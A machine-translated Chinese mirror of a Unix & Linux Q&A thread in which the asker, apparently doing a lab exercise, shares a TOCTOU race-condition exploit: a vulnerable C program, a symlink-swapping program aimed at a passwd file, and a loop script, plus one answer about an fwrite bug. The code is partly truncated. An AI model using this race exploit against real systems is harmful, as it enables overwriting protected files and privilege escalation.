首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >在Linux中使用管道为程序提供输入时,会出现一些转储。

在Linux中使用管道为程序提供输入时,会出现一些转储。
EN

Unix & Linux用户
提问于 2022-12-03 09:40:02
回答 1查看 30关注 0票数 0

我现在正试图通过使用争用条件错误来利用这个漏洞。然而,出现了一个问题;我从来没有给过这个过程的价值。

下面是对这个案件的描述。

场景:攻击者发现某些程序易受竞争条件的影响。因此,她制作了一个程序,该程序从攻击者可以管理的文件创建一个符号链接到./passwd文件。完成此操作后,她将创建一个shell脚本,该脚本运行易受攻击的程序和她同时创建的程序,直到检测到./passwd文件的修改为止。

易受攻击的代码如下:

易受攻击-Program.c

代码语言:javascript
复制
#include
#include
#include

#define DELAY 50000


int main(int argc, char *argv[]){
    char *fileName = argv[1];
    char buffer[60];

    int i;

    FILE *fileHandler;

    scanf("%50s", buffer);

    if(!access(fileName, W_OK)){
        int a;
        for(i=0;i

使用竞争条件进行攻击的程序如下所示:

符号-link.c.c

代码语言:javascript
复制
#include
#include
#include

int main(int argc, char *argv[]){
    unlink(argv[1]);
    symlink("./passwd", argv[1]);
    return 0;
}

下面是外壳脚本:

开发.

代码语言:javascript
复制
old=`ls -l passwd`; new=`ls -l passwd`

while [ "$old" = "$new" ]
do

    rm -rf temp
    echo "This is a file that the user can overwrite" > temp
    echo -e "TOCTOU-Attack-Success" | ./vulnerable-program temp & ./symbolic-link temp & new=`ls -l passwd`


done

rm -rf temp;

echo "STOP... The passwd file has been changed"

但是,如果我运行exploit.sh,结果将如下所示:

另外,如果我试图给出一个字符串,它很长,就像在/etc/影子文件中写入的用户信息一样,它一直出现在passwd文件中,被截断。

实际上,在第一次,在易受攻击的-Program.c的其他分支中有一个printf("No Permission \n");代码行。但是,由于同样的问题,字符串"No problem“保持在”TOCTOU-攻击-成功“字符串的前面,并被连续地传递到passwd文件,以使我删除该代码行。

如果你们能帮我.现在我真的不知道该怎么做疑难解答了。

EN

回答 1

Unix & Linux用户

发布于 2022-12-03 10:24:49

fwrite("\n", sizeof(char), strlen(buffer), fileHandler);

从常量字符串"\n“后面的只读数据区域发送一个换行符,再加上一些垃圾,直到输入字符串的长度。

票数 1
EN
页面原文内容由Unix & Linux提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://unix.stackexchange.com/questions/727175

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档